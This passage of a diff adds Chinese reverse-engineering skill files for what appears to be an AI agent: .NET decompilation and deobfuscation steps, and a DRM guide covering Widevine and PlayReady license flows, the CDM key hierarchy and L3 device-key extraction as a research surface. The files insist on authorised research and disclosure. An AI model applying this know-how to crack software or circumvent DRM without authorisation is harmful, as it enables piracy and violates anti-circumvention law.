- GUI: GitHub `icsharpcode/ILSpy` release zip(linux-x64 / win-x64 / osx-x64 均有)
|
||||
- 验证: `ilspycmd --help`;GUI 能打开程序集
|
||||
|
||||
### dnSpy(Windows 专用,GitHub release)
|
||||
|
||||
- GitHub `dnSpyEx/dnSpy` release zip → 解压运行 `dnSpy.exe`
|
||||
- 仅 Windows(WinForms + .NET Framework);Linux/WSL 用 ILSpy(或 Wine 跑 dnSpy)
|
||||
- 验证: GUI 启动并能 `File > Open` 程序集
|
||||
- 优势: 反编译 + 编辑 + 调试一体
|
||||
|
||||
### de4dot(GitHub release,去混淆)
|
||||
|
||||
- GitHub `de4dot/de4dot` release `de4dot.exe`;Linux/macOS 需 mono:
|
||||
- `apt install mono-devel` / `dnf install mono-devel`;Arch: `sudo pacman -S mono`;macOS `brew install mono`
|
||||
- 仅在明确需要 upstream Git snapshot 时改用 AUR 的 `mono-git`(属 AUR,非官方仓库)
|
||||
- 运行: `mono de4dot.exe --help`;Windows 直接 `de4dot.exe --help`
|
||||
- 验证: `--help` 正常输出
|
||||
|
||||
### 单文件 bundle 解包(sfextract / ILSpy 内置,可选但常用)
|
||||
|
||||
- 零额外工具: ILSpy 7.1+ GUI 直接 `File > Open` 单文件 bundle,7.2+ 右键 `Extract package entry` 导出内嵌程序集
|
||||
- CLI: `dotnet tool install -g sfextract`(Droppers/SingleFileExtractor,MIT;注意 `dotnet-bundle-extractor`/`dotnet-bundle-extract` 这两个包名在 NuGet 并不存在)
|
||||
- 用法: `sfextract sample.exe -o extracted/`(不带 `-o` 只列出 bundle 内文件)
|
||||
- 验证: `sfextract --help`
|
||||
|
||||
## 操作步骤
|
||||
|
||||
按顺序执行,每步记录证据(路径 + sha256,见 [[re-triage]])。
|
||||
|
||||
1. **识别 .NET 程序集**:
|
||||
```sh
|
||||
file sample.exe # 含 "Mono/.Net assembly" 即 .NET
|
||||
strings sample.exe | grep -i mscoree # mscoree.dll 导入是经典标识
|
||||
```
|
||||
CLI header 确认(PE 数据目录第 15 项 = COM Descriptor):
|
||||
```python
|
||||
import pefile
|
||||
pe = pefile.PE('sample.exe')
|
||||
dd = pe.OPTIONAL_HEADER.DATA_DIRECTORY[14] # COM Descriptor (CLI header)
|
||||
print(hex(dd.VirtualAddress), hex(dd.Size)) # 非 0 → 托管程序集
|
||||
```
|
||||
注意混合模式程序集(native + 托管都看得到)与自包含单文件(见坑 4)。
|
||||
CLI header 结构速查(实测 .NET 10 产物):cb=0x48(72)、MajorRuntimeVersion=2、MinorRuntimeVersion=5、MetaData RVA、EntryPointToken(4 字节 union,ECMA-335 II.25.3.3:未置 COMIMAGE_FLAGS_NATIVE_ENTRYPOINT 时为 metadata token(MethodDef/File),置位时才是 native code RVA;0=无入口,即 DLL)、CorFlags(1=ILONLY、2=32BITREQUIRED、0x8=强名签名(COMIMAGE_FLAGS_STRONGNAMESIGNED)、0x20000=32BITPREFERRED)。
|
||||
元数据根(MetaData RVA 处):签名 `BSJB`(0x424A5342) + 版本 1.1 + 保留 + 版本串长 + 版本串("v4.0.30319" 是 Roslyn/MetadataRootBuilder 的典型默认值,**不是格式不变量**——ECMA-335 允许 vendor 自定义串,以实际字节为准)+ flags(2) + 流数(2) + 流头(offset + size + 名字,4 字节对齐)。
|
||||
流名即内容形态:`#~`(压缩表,Roslyn 默认)/`#-`(未压缩表)、`#Strings`(元数据字符串池)、`#US`(用户字符串:代码里的 C# 字面量)、`#GUID`、`#Blob`(签名/常量 blob)——字符串加密样本的明文不在 `#US` 就是运行时拼的;`#~` 的表内容即 dnSpy/ILSpy 的类型/方法树。
|
||||
|
||||
2. **dnSpy/ILSpy 反编译浏览**:
|
||||
- ilspycmd 单文件: `ilspycmd sample.exe`(stdout 输出反编译代码)
|
||||
- ilspycmd 生成项目: `ilspycmd sample.exe -p -o decompiled/`
|
||||
- ILSpy GUI / dnSpy: `File > Open` → 左侧树展开程序集 → 双击类/方法看 C# 视图
|
||||
- dnSpy 额外能力: 右键方法 `Edit Method`(改后 `File > Save Module` 重新编译)、断点调试
|
||||
|
||||
3. **字符串/API 定位关键逻辑**:
|
||||
```sh
|
||||
strings sample.exe | grep -iE 'http|https|api|key|secret|register'
|
||||
strings -e l sample.exe | grep -iE 'http|key|secret' # UTF-16LE:#US 池里 C# 字面量是 UTF-16
|
||||
grep -rn 'HttpClient\|WebRequest\|Regex\|Convert' decompiled/ # ilspycmd 产物
|
||||
```
|
||||
- GUI 内搜索: ILSpy/dnSpy `Edit > Find`(Ctrl+Shift+F),输入目标串
|
||||
- 找引用: dnSpy 右键方法/字段 → `Analyze` → `Used By`(xref 定位调用点)
|
||||
- 目标形态:注册码校验(`Main` 里 `if (key == ...)`)、网络 URL、解密 key
|
||||
|
||||
4. **de4dot 去混淆(ConfuserEx / SmartAssembly 等)**:
|
||||
```sh
|
||||
mono de4dot.exe sample.exe # 自动检测混淆器 → 输出 sample-cleaned.exe
|
||||
mono de4dot.exe -p ce sample.exe # 显式指定 ConfuserEx (ce) / SmartAssembly (sa)
|
||||
```
|
||||
- 先 `-d` 干跑只看检测: `mono de4dot.exe -d sample.exe`(日志显示 `Detected: ConfuserEx`)
|
||||
- 去混淆后重新在 dnSpy/ILSpy 打开 `sample-cleaned.exe`:字符串应为明文、控制流恢复
|
||||
- 残留混淆(字符串仍密文)→ 坑 2 手动方案
|
||||
|
||||
5. **动态侧(可选;沙箱内执行 [[re-sandbox]])**:
|
||||
- Frida(native 层): `pip install frida-tools`;`frida sample.exe -l hook.js`,用 `Interceptor` hook 底层 native 调用(如 `HttpClient` 背后的 socket 读写/`SSL_read`、解密函数所在 native 库)在运行时 dump 明文/URL——stock frida-tools 无法按方法名直接 hook .NET 托管方法;托管层需 CLR 桥(如 MonarchSolutions/frida-clr)或改走下方 dotnet-dump / dnSpy 调试
|
||||
- dotnet-dump(进程内取运行时数据):
|
||||
```sh
|
||||
dotnet tool install -g dotnet-dump
|
||||
dotnet-dump collect -p <pid> # 收集 dump
|
||||
dotnet-dump analyze <dump> # clrstack / dumpheap -type System.String
|
||||
```
|
||||
- Windows: dnSpy `Debug > Start` 断点调试(直接断方法看变量)
|
||||
|
||||
## 跨域联合
|
||||
|
||||
- [[re-managed]]:网关工作流步骤②(反编译)④(去混淆)固定调用本技能
|
||||
- [[re-malware]]:.NET 恶意样本路径(re-malware → re-managed → 本技能静态还原)
|
||||
- [[re-binary-core]]:底座——初勘([[re-triage]])、混合模式 native 部分
|
||||
- 动态侧:[[re-frida]]、[[re-sandbox]];深层混淆转 [[re-deobfuscate]];单文件先解包再回本技能
|
||||
|
||||
## 常见坑与陷阱
|
||||
|
||||
- **ConfuserEx 字符串加密 + 控制流**:现象——反编译只见 `smethod_0("密文")` 调用、if/while 变 switch 分发;原因——ConfuserEx 默认同时启用字符串加密与控制流混淆;对策——`de4dot -p ce` 自动还原;残留时在解密方法返回处动态读明文(沙箱内),或还原解密循环用脚本批量解
|
||||
- **de4dot 对旧版本/新混淆器失效**:现象——日志 `Unknown obfuscator` 或产物仍混淆;原因——de4dot 维护停滞,混淆器新版特征未收录;对策——换社区 fork(de4dot-cex / de4dot-modified),或手动:定位字符串解密函数 → 分析算法 → python3 复刻 + 动态验证
|
||||
- **dnSpy 仅 Windows**:现象——Linux/WSL 双击 dnSpy.exe 报错无法运行;原因——WinForms + .NET Framework 的 GUI 工具;对策——Linux/macOS 用 ILSpy(GUI 或 `ilspycmd`),坚持 dnSpy 可 Wine 跑
|
||||
- **.NET 自包含发布(单文件)**:现象——`file` 显示普通 PE、工具打开无托管结构/反编译为空;原因——self-contained single-file 把 host + 运行库 + IL 捆成一个 native 可执行;对策——先解包:`sfextract sample.exe -o extracted/`(或 ILSpy 直接打开/导出),对解出的程序集再反编译
|
||||
- **混合模式程序集**:现象——反编译只见少量托管类,主逻辑找不到;原因——C++/CLI 或 wrapper 把 native 代码与托管混合;对策——托管侧按本技能,native 侧转 [[re-binary-core]]([[re-ghidra]] / [[re-imports]])
|
||||
- **薄壳启动器程序集误判导出失败(dnSpy 无头批量)**:现象——单个程序集反编译产物源码极少(几行到几十行),主逻辑找不到,误以为导出失败;原因——该程序集只是薄壳启动器,主逻辑在伴随程序集/库中(纯托管,区别于上一条的 native 侧);对策——目录级批量反编译拿整体视图再判断:Windows 侧用 dnSpy 控制台(`dotnet dnSpy.Console.dll`)输出 solution + 每程序集一个 .csproj + 源码树,Linux 对位 `ilspycmd -p`;批量时显式传依赖搜索路径(指向目标所在目录),否则伴随库引用解析不全;成功与否以「产物计数非零 + 退出码 0」双通道确认
|
||||
- **ReadyToRun(R2R)程序集**:现象——`file` 报 `Unknown processor 0xfd1d`(PE machine 0xfd1d 即 R2R 标记),反编译正常但动态侧行为与 IL 不一致时怀疑有预编译体;原因——R2R 发布在元数据之外预编译了 native 方法体(快速启动),IL 与 CLI header 仍在(实测 .NET 10 R2R 产物 DD[14] 与元数据齐全),实际执行的是 native 体;对策——检测:`file` 的 0xfd1d + 二进制内 `RTR\0`(READYTORUN 头魔数,实测在 .text 区);分析:IL 侧逻辑一致照常反编译,性能/环境相关差异看 native 方法体(转 [[re-binary-core]])
|
||||
- **NativeAOT 无托管结构**:现象——`file` 不显示 Mono/.Net assembly、无 CLI header,但来源声明是 .NET 程序;原因——NativeAOT 把 C# 直接编译为原生可执行(无 CLR、无元数据、无 CIL);对策——按 native 分析([[re-format-pe]]/[[re-format-elf]] + [[re-ghidra]]/[[re-imports]]);特征:静态/动态链接原生二进制 + 无 mscoree 导入,业务字符串仍可 `strings -e l` 提取(.NET 字符串 UTF-16)
|
||||
- **.NET 字符串是 UTF-16LE,默认 strings 抓不到**:现象——`strings sample.exe | grep 'http'` 无结果但反编译里有明文 URL;原因——C# 字面量在 `#US` 池以 UTF-16LE 存储;对策——`strings -e l`(或 `-el`)再搜;动态侧 [[re-frida]] hook 字符串构造点也可取明文
|
||||
(来源:LazyReverse(a0yami),MIT)
|
||||
113
vendor-new/rev-skills/.claude/skills/re-drm/SKILL.md
Normal file
113
vendor-new/rev-skills/.claude/skills/re-drm/SKILL.md
Normal file
@@ -0,0 +1,113 @@
|
||||
---
|
||||
name: re-drm
|
||||
description: >
|
||||
DRM 分析:PlayReady/Widevine 实现、许可证流程、解密器还原。
|
||||
触发词:DRM、PlayReady、Widevine、许可证、内容保护
|
||||
capabilities: [drm-analysis]
|
||||
---
|
||||
|
||||
# DRM 分析(PlayReady / Widevine / 许可证流程)
|
||||
|
||||
## 何时使用 / 何时不用
|
||||
|
||||
- **边界(继承 [[re-cracking]])**:仅限自有内容保护方案 / 授权测试 / CTF·研究环境;禁止未授权内容解密与商业 DRM 绕过
|
||||
- 用:分析 DRM 系统(Widevine / PlayReady / FairPlay)的组件结构、许可证挑战/响应流程
|
||||
- 用:理解播放器/CDM(内容解密模块)如何管理密钥与解密内容(授权研究)
|
||||
- 用:DRM 漏洞/弱点研究(密钥提取、解密流程绕过等,**限授权环境**)并负责任披露
|
||||
- 用:CENC 加密媒体(MP4/CMAF)的 PSSH 与加密方案识别
|
||||
- 不用:普通内容保护理解/协议逆向(那是 [[re-protocol]] 域)
|
||||
- 不用:样本没有 DRM 只是普通加密([[re-crypto-*]] 系列)
|
||||
- 不用:制作盗版工具 / 提取密钥用于盗版分发(**明确禁止,见授权边界**)
|
||||
- **授权边界(必读)**:本技能仅限授权研究——自有设备、自有内容、实验室环境、已获书面许可的安全研究。禁止:提取/分发用于盗版的内容密钥、发布可用密钥提取工具、绕过 DRM 获取未授权内容。DRM 分析涉及反规避法律(如 DMCA 1201 类)与平台 ToS,分析以漏洞研究 + 防御视角产出,发现走负责任披露(厂商安全团队/漏洞奖励计划),敏感细节(密钥材料)不写入公开报告。
|
||||
|
||||
## 工具准备
|
||||
|
||||
静态分析(CDM 反编译 / 抓包分析)免沙箱;运行 CDM 与抓许可证流量属动态执行,在受控环境([[re-analyze/platform-tips]] 最高原则)内进行。所有工具先验证再使用。
|
||||
|
||||
### 反编译工作台([[re-ghidra]])—— CDM/解密器分析
|
||||
|
||||
- [[re-ghidra]](默认):导入 CDM 二进制(Widevine CDM 是带导出表的 ELF so)与播放器二进制
|
||||
- [[re-ida]]:备选;验证: 导入 libwidevinecdm.so 后能反编译 `Initialize`/`CreateSession` 类导出
|
||||
- CDM 获取(自有环境):Chrome 的 Widevine CDM 在 `~/.config/google-chrome/WidevineCdm/`(Linux)/ `%LOCALAPPDATA%\Google\Chrome\User Data\WidevineCdm`(Windows)/ `~/Library/...`(macOS);Edge 的 PlayReady 同理
|
||||
|
||||
### 网络捕获([[re-netcap]])—— 许可证挑战/响应
|
||||
|
||||
- tshark/wireshark/mitmproxy 安装见 [[re-netcap]]「工具准备」
|
||||
- 验证: `tshark --version`;`mitmdump --version`
|
||||
- HTTPS 解密按 [[re-netcap]] 步骤 4(mitmproxy CA 装入受控环境)
|
||||
|
||||
### protobuf 解析(Widevine 侧)
|
||||
|
||||
- `pip install protobuf`(或 grpcio-tools);验证: `python3 -c "import google.protobuf; print(google.protobuf.__version__)"`
|
||||
- 用途: 许可证挑战/响应是 protobuf,按字段号解析(字段表见 [[layout]])
|
||||
|
||||
### CDM 分析辅助工具(Widevine L3 设备,研究用途)
|
||||
|
||||
- 无独立发行版包:Widevine L3 CDM(软件实现)的分析工具来自社区研究(GitHub 检索 Widevine L3 相关研究仓库,如 pywidevine),安装 `pip install pywidevine`(只用于自有设备授权研究)
|
||||
- 验证: `python3 -c "import pywidevine; print(pywidevine.__version__)"`
|
||||
- 用途与边界:只分析自有设备/自有内容;密钥材料不出现在报告中(见坑 3)
|
||||
|
||||
## 操作步骤
|
||||
|
||||
按顺序执行,每步产物(组件清单、许可证流程笔记、CDM 结构笔记)记录证据路径 + sha256(见 [[re-triage]]),供报告引用。**所有步骤在授权范围与受控环境内进行**(授权边界见「何时使用」)。
|
||||
|
||||
1. **DRM 组件识别(CDM / 解密器)**:
|
||||
- 播放器/浏览器侧:EME API(`requestMediaKeySystemAccess("com.widevine.alpha")` / `"com.microsoft.playready"`)→ 定位 DRM 类型与 CDM 路径
|
||||
- CDM 组件:`libwidevinecdm.so`(Chrome 内置;**后缀标注的是架构**——`-arm`/`-arm64`/`-x86`/`-x64` 为 CPU 架构而非安全等级,L1/L3 取决于设备 TEE 信任根,无 TEE 的 ARM 设备同样跑 L3 软件实现,见坑 1);PlayReady 组件在 Edge/Windows 系统组件;FairPlay 在 Apple 侧([[re-ios]] 域)
|
||||
- CDM 导出函数(C ABI):`Initialize`、`CreateSession`(CreateSessionAndGenerateRequest)、`UpdateSession`(处理许可证响应)、`CloseSession`、`RemoveSession`、`Decrypt`、`SetServerCertificate`——导出表见 [[layout]]
|
||||
- 记录:DRM 类型、CDM 路径与版本、文件 sha256(版本锚点,坑 4)
|
||||
|
||||
2. **CENC/PSSH 识别(媒体侧)**:
|
||||
```sh
|
||||
# 在 MP4/CMAF 里找 pssh box(可脚本遍历 ISO BMFF box 链)
|
||||
grep -oba 'pssh' sample.mp4 | head
|
||||
```
|
||||
- PSSH box:`size(4) + 'pssh'(4) + version/flags(4) + SystemID(16) + [v1 才有 KID 数+KIDs] + DataSize(4) + Data`(字段表见 [[layout]])
|
||||
- SystemID 判 DRM:Widevine `edef8ba9-79d6-4ace-a3c8-27dcd51d21ed`;PlayReady `9a04f079-9840-4286-ab92-e65be0885f95`;FairPlay `94ce86fb-07ff-4f43-adb8-93d2fa968ca2`
|
||||
- DASH 侧等价物:`ContentProtection schemeIdUri="urn:uuid:EDEF8BA9-..."` + base64 `<cenc:pssh>`;加密方案字段(cenc/cbc1/cbcs)决定后续解密分析走向
|
||||
- 产物:PSSH 列表(SystemID → DRM 类型 → 初始数据),Python 解析示例见 [[examples]]
|
||||
|
||||
3. **许可证流程还原(挑战 / 响应)**:
|
||||
```sh
|
||||
# 受控环境内播放一段自有内容,mitmproxy/tshark 捕获许可证请求
|
||||
tshark -r license.pcap -Y 'http.request' -T fields -e http.host -e http.request.uri | head
|
||||
# 典型流程:初始化 → license challenge(POST,含设备指纹/证书)→ license response(含密钥材料)
|
||||
```
|
||||
- Widevine:license 请求/响应是 protobuf(SignedMessage 包裹,字段表见 [[layout]]);PlayReady:SOAP/XML(`AcquireLicense`,命名空间 `http://schemas.microsoft.com/DRM/2007/03/protocols`);内容元数据里通常带 license URL(PSSH box / manifest 字段)
|
||||
- 还原:challenge 里有什么(设备证书/非对称密钥公钥/会话 ID)→ 服务端如何验设备 → 响应里封装了什么(内容密钥 CEK 的密文 + 权限策略)
|
||||
- 产物:许可证流程图(发起方 → 挑战 → 响应 → 密钥解出)+ 各步格式与字段笔记
|
||||
|
||||
4. **解密器实现分析(密钥管理)**:
|
||||
- CDM 静态([[re-ghidra]]):导出函数还原(`Initialize`、`CreateSession`、`UpdateSession`(处理许可证响应)、`Decrypt`)→ 找密钥存储与解密路径
|
||||
- 密钥分层(见坑 2):设备密钥(device key,L3 软件密钥存于 CDM 内/持久化存储)→ 解密许可证响应拿到内容密钥(CEK)→ CEK 解密媒体;分析"哪一步解出什么密钥"
|
||||
- 解密算法识别:AES-CBC / AES-CTR 等([[re-crypto-id]] 常量表指纹思路),CENC(Common Encryption)样本格式(cenc/cbc1/cbcs 方案)
|
||||
- 产物:密钥链图(每层密钥来源与保护方式)+ 解密调用路径
|
||||
|
||||
5. **漏洞 / 弱点定位(授权研究)**:
|
||||
- 常见研究面:L3 设备密钥提取(软件密钥从 CDM 内存/持久化存储提取)、许可证响应验证缺失、防回滚(CDM 版本检查)绕过、解密前完整性校验缺失
|
||||
- 方法:静态定位(密钥解密/加载函数)→ 动态观察(受控环境内断点/插桩看密钥材料流向)→ 验证边界(什么条件下能解出什么)
|
||||
- **发现后负责任披露**:记录复现条件与影响评估,提交厂商安全团队/漏洞奖励计划;不公开 PoC 细节
|
||||
- 产物:发现清单(条件/影响/披露状态)
|
||||
|
||||
6. **报告(合规)**:
|
||||
- 报告结构:授权范围声明 → 组件清单(CDM 版本/哈希)→ 许可证流程图 → 解密器/密钥管理结构 → 发现与披露计划 → 防御建议
|
||||
- 合规要点:不包含密钥材料与可用提取工具;ToS/法律边界声明(DMCA 1201 类反规避条款);结论以漏洞研究/防御视角表述
|
||||
- 产物:报告存档(sha256)
|
||||
|
||||
## 跨域联合
|
||||
|
||||
- [[re-ghidra]]:CDM 与播放器反编译工作台(结构标注 / 脚本化分析)
|
||||
- [[re-netcap]]:许可证挑战/响应捕获(mitmproxy 解密 HTTPS,[[re-protocol]] 第 1 步联动)
|
||||
- [[re-protocol]]:许可证协议还原(challenge/response 结构、protobuf/SOAP 解析)
|
||||
- [[re-crypto-id]] / [[re-crypto-keys]] / [[re-crypto-decrypt]]:加密算法识别、密钥材料定位、密文还原
|
||||
- [[re-android-native]] / [[re-ios]]:移动端 CDM(Android 侧 Widevine 集成、FairPlay/Apple 侧)——设备侧 DRM 的延伸
|
||||
- [[re-sandbox]] / [[re-analyze/platform-tips]]:动态执行(播放自有内容/抓包)受控环境最高原则
|
||||
|
||||
## 常见坑与陷阱
|
||||
|
||||
- **L1/L3 等级差异(硬件 vs 软件)**:现象——同一个 Widevine CDM 相关样本,在 A 设备能分析的密钥结构/流程在 B 设备完全对不上,或按 L3 思路分析 L1 目标处处碰壁;原因——安全级别不同:L1 密钥在 TEE(可信执行环境)硬件中保护,L3 是纯软件 CDM 可提取可分析;架构标识:`libwidevinecdm.so` 的后缀标注的是**架构**(`-arm`/`-arm64`/`-x86`/`-x64`)而非安全等级——L1/L3 取决于设备 TEE 信任根(带 TEE 的 ARM 设备才是 L1,无 TEE 的 ARM 设备同样跑 L3,x86 平台一般只有 L3);PlayReady 同样分硬件信任根与软件实现;对策——先确认目标安全级别(设备能力/厂商文档),L3 才能做软件层密钥提取分析,L1 分析走 TEE/信任根方向(硬件安全);结论严格标注级别,不跨级别套用
|
||||
- **密钥分层(设备 / 内容)**:现象——费劲拿到一个"密钥",拿去解媒体内容却解不开;原因——DRM 是分层密钥体系:设备密钥(device key)解密许可证响应 → 得到内容密钥(CEK),CEK 才用于解密媒体;拿到的是中间某一层,或 CEK 还被权限策略(输出保护等)约束;对策——先完整还原许可证流程(步骤 3:challenge 里的设备公钥/证书、response 里的 CEK 密文),再进解密器分析(步骤 4)确认每一层"哪来的、解什么";按密钥链图核对拿到的密钥属于哪一层,缺哪层补哪层
|
||||
- **法律与 ToS 边界(仅研究)**:现象——研究产物(提取脚本、密钥材料)被用于盗版分发,研究者承担法律后果(DMCA 1201 类反规避责任、平台 ToS 违约);原因——DRM 分析产物天然可用作盗版工具,密钥提取与绕过行为可能直接违反反规避法律;对策——严格限定自有设备/自有内容/书面授权实验室;报告只写"机制如何工作"与"如何防御",不写可复现的密钥提取步骤、不附密钥材料;发现走负责任披露(厂商漏洞奖励);拿不准的边界先查授权文件再动
|
||||
- **DRM 更新频繁(结论过期)**:现象——CDM 更新后提取/分析手段全部失效,密钥轮换后旧结论作废;原因——CDM 定期更新并轮换密钥、加固反提取(加壳/混淆/密钥在内存生命周期短);对策——记录 CDM 精确版本 + 文件 sha256 + 分析时间(步骤 1);分析方法(流程还原、结构分析、分层建模)跨版本复用,具体密钥/偏移/签名不跨版本复用;分析结论按"结构/流程"组织而非"某个密钥值"
|
||||
- **PSSH 版本混用**:现象——按 v0 布局解析 v1 PSSH 后字段全错位;原因——version 字段为 1 时 KID 列表插在 SystemID 与 DataSize 之间;对策——解析先读 version(第 8 字节),v1 跳过 4+N×16 字节 KID 区再读 DataSize([[layout]] 字段表)
|
||||
- **challenge 与 response 都经 SignedMessage 包裹**:现象——直接按 LicenseRequest 解析响应失败;原因——Widevine 所有消息外层都是 SignedMessage(type 字段区分:0=license request 1=license 2=error),内层消息按 type 选 protobuf;对策——先解外层 SignedMessage 看 type,再按 type 选内层 schema([[layout]] 字段表)
|
||||
@@ -0,0 +1,139 @@
|
||||
# DRM 最小解析示例
|
||||
|
||||
示例以本机可复现的最小样本为主:PSSH 用 Python 构造并解析(ISO/IEC 23001-7 字段),Widevine protobuf 用官方测试向量与 pywidevine 同源字段号(见 [[layout]])。所有示例不涉及真实密钥材料。
|
||||
|
||||
## 1. PSSH box 解析(Python,本机可直接跑)
|
||||
|
||||
```python
|
||||
import struct
|
||||
|
||||
# 构造一个 Widevine PSSH v0(Widevine SystemID + 初始数据)
|
||||
WIDEVINE_SYSTEM_ID = bytes.fromhex('edef8ba979d64acea3c827dcd51d21ed')
|
||||
|
||||
def build_pssh(system_id, data, version=0, key_ids=()):
|
||||
body = bytes([version, 0, 0, 0]) + system_id
|
||||
if version == 1:
|
||||
body += struct.pack('>I', len(key_ids))
|
||||
for kid in key_ids:
|
||||
body += kid
|
||||
body += struct.pack('>I', len(data)) + data
|
||||
return struct.pack('>I', 8 + len(body)) + b'pssh' + body
|
||||
|
||||
def parse_pssh(buf):
|
||||
assert buf[4:8] == b'pssh', 'not a pssh box'
|
||||
size, = struct.unpack_from('>I', buf, 0)
|
||||
version = buf[8]
|
||||
sysid = buf[12:28].hex()
|
||||
off = 28
|
||||
kids = []
|
||||
if version == 1:
|
||||
n, = struct.unpack_from('>I', buf, off); off += 4
|
||||
kids = [buf[off + 16*i : off + 16*(i+1)].hex() for i in range(n)]
|
||||
off += 16 * n
|
||||
dsize, = struct.unpack_from('>I', buf, off); off += 4
|
||||
data = buf[off : off + dsize]
|
||||
return dict(size=size, version=version, system_id=sysid,
|
||||
key_ids=kids, data_len=dsize, data=data)
|
||||
|
||||
pssh = build_pssh(WIDEVINE_SYSTEM_ID, b'\x08\x10\x12\x04test')
|
||||
print(parse_pssh(pssh))
|
||||
# {'size': 40, 'version': 0, 'system_id': 'edef8ba979d64acea3c827dcd51d21ed',
|
||||
# 'key_ids': [], 'data_len': 8, 'data': b'\x08\x10\x12\x04test'}
|
||||
# size = 8(头) + 4(version/flags) + 16(SystemID) + 4(DataSize) + 8(Data) = 40 ✓
|
||||
```
|
||||
|
||||
对照要点:v0 布局 size + pssh + version/flags + SystemID + DataSize + Data;SystemID 判 DRM 类型(对照表见 [[layout]]);v1 的 KID 列表插在 SystemID 与 DataSize 之间——解析必须先读 version(坑 5)。
|
||||
|
||||
## 2. 真实媒体里找 PSSH(命令)
|
||||
|
||||
```sh
|
||||
# 简易定位(box 链遍历更可靠,见上)
|
||||
grep -oba 'pssh' sample.mp4 | head -5
|
||||
# 结构化解析用 ffprobe(ffmpeg 自带)
|
||||
ffprobe -v error -show_entries stream_tags=variant_bitrate -of json sample.mp4
|
||||
# 或 mp4dump(bento4):输出所有 box 树
|
||||
mp4dump sample.mp4 | grep -A4 pssh
|
||||
```
|
||||
|
||||
## 3. Widevine 挑战/响应结构速查(字段号对照)
|
||||
|
||||
以 pywidevine 同源 protobuf 字段号(完整表见 [[layout]])验证解析:
|
||||
|
||||
```python
|
||||
# 依赖: pip install protobuf
|
||||
# 用 grpcio-tools 从 Widevine 协议 .proto 生成后:
|
||||
# 外层 SignedMessage: msg.type 判定层(0=license request 1=license 2=error)
|
||||
# 内层 LicenseRequest: client_id(1) content_id(2) type(3) request_time(4)
|
||||
# protocol_version(6) key_control_nonce(7)
|
||||
def peek_proto(data, fields):
|
||||
"""极简 protobuf 字段窥探(varint 场景):打每字段的 字段号/类型/值头"""
|
||||
out = []
|
||||
i = 0
|
||||
while i < len(data):
|
||||
tag = data[i]; i += 1
|
||||
fno, wtype = tag >> 3, tag & 7
|
||||
if wtype == 0: # varint
|
||||
val = 0; sh = 0
|
||||
while True:
|
||||
b = data[i]; i += 1
|
||||
val |= (b & 0x7f) << sh
|
||||
if not b & 0x80: break
|
||||
sh += 7
|
||||
out.append((fno, 'varint', val))
|
||||
elif wtype == 2: # length-delimited
|
||||
ln = data[i]; i += 1
|
||||
out.append((fno, 'bytes', ln, data[i:i+ln]))
|
||||
i += ln
|
||||
else:
|
||||
break
|
||||
return out
|
||||
|
||||
# 用例:构造的 WidevineCencHeader 初始数据(见 [[layout]] WidevinePsshData 字段)
|
||||
```
|
||||
|
||||
对照要点:外层 SignedMessage 的 `type` 决定内层 schema——直接按 LicenseRequest 解析响应必错(坑 6)。
|
||||
|
||||
## 4. PlayReady 头/挑战 XML 对照
|
||||
|
||||
```xml
|
||||
<!-- 内容元数据里的 WRMHEADER(PlayReadyHeader 命名空间) -->
|
||||
<WRMHEADER xmlns="http://schemas.microsoft.com/DRM/2007/03/PlayReadyHeader" version="4.0.0.0">
|
||||
<DATA>
|
||||
<PROTECTINFO><KEYLEN>16</KEYLEN><ALGID>AESCTR</ALGID></PROTECTINFO>
|
||||
<KID>Cofu3FaCfjuAJNqKod80iw==</KID> <!-- KID GUID(小端 base64) -->
|
||||
<CHECKSUM>2u+jpp0wDIk=</CHECKSUM>
|
||||
<LA_URL>https://lic.example/rightsmanager.asmx</LA_URL>
|
||||
</DATA>
|
||||
</WRMHEADER>
|
||||
|
||||
<!-- 许可证挑战(SOAP,protocols 命名空间) -->
|
||||
<AcquireLicense xmlns="http://schemas.microsoft.com/DRM/2007/03/protocols">
|
||||
<challenge><Challenge xmlns="http://schemas.microsoft.com/DRM/2007/03/protocols/messages">
|
||||
<LA xmlns="http://schemas.microsoft.com/DRM/2007/03/protocols" Id="SignedData">
|
||||
<Version>1</Version><ContentHeader><!-- 内嵌 WRMHEADER --></ContentHeader>
|
||||
</LA>
|
||||
</Challenge></challenge>
|
||||
</AcquireLicense>
|
||||
```
|
||||
|
||||
对照要点:KID 是公开标识(对得上许可证 URL 才有后续);CHECKSUM 防 KID/密钥错配——拿到"密钥"后先按此核对再下结论(坑 2)。
|
||||
|
||||
## 5. CDM 导出表核验(Ghidra/readelf)
|
||||
|
||||
```sh
|
||||
# 自有环境 Widevine CDM(路径见 SKILL.md 步骤 1)
|
||||
readelf -d libwidevinecdm.so | grep NEEDED # 依赖链(沙箱环境核对)
|
||||
readelf -s libwidevinecdm.so | grep -E 'Initialize|CreateSession|UpdateSession|Decrypt'
|
||||
# 导出函数是静态分析入口:交叉引用到密钥加载/解密路径
|
||||
```
|
||||
|
||||
## 实现教训(内化)
|
||||
|
||||
- 分层建模先行(设备密钥 → CEK → 媒体),任何"密钥"先问属于哪一层、解什么
|
||||
- PSSH 解析先读 version;Widevine 消息先解 SignedMessage 再按 type 选 schema
|
||||
- 版本锚点(CDM 版本 + sha256 + 分析时间)是所有结论的前提
|
||||
|
||||
## 使用注意
|
||||
|
||||
- 所有步骤限授权范围与受控环境([[re-analyze/platform-tips]] 最高原则);密钥材料不进报告
|
||||
- 与 [[re-protocol]]、[[re-crypto-id]]、[[re-netcap]] 配合;本文件示例不含真实密钥材料
|
||||
137
vendor-new/rev-skills/.claude/skills/re-drm/references/layout.md
Normal file
137
vendor-new/rev-skills/.claude/skills/re-drm/references/layout.md
Normal file
@@ -0,0 +1,137 @@
|
||||
# DRM 布局:密钥分层 / CENC-PSSH / Widevine protobuf / PlayReady SOAP
|
||||
|
||||
DRM 分析的三个结构层:媒体侧(PSSH 与加密方案)、协议侧(许可证挑战/响应格式)、设备侧(CDM 导出与密钥链)。本文件给出三层的关键字段表,字段以 ISO/IEC 23001-7、Widevine protobuf(pywidevine 同源)与 PlayReady 官方规范为准。
|
||||
|
||||
## 密钥分层模型(先建层再动手)
|
||||
|
||||
```
|
||||
设备密钥 (device key, L3 软件密钥在 CDM 内/持久化存储;L1 在 TEE)
|
||||
│ 解密许可证响应(含 CEK 密文 + 权限策略)
|
||||
▼
|
||||
内容密钥 (CEK, content key)
|
||||
│ AES-CBC/CTR 解密媒体样本(cenc/cbc1/cbcs)
|
||||
▼
|
||||
明文媒体
|
||||
```
|
||||
|
||||
- 分析每层时回答"哪来的、解什么":设备密钥解许可证、CEK 解媒体——拿到中间层去解媒体必失败(坑 2)
|
||||
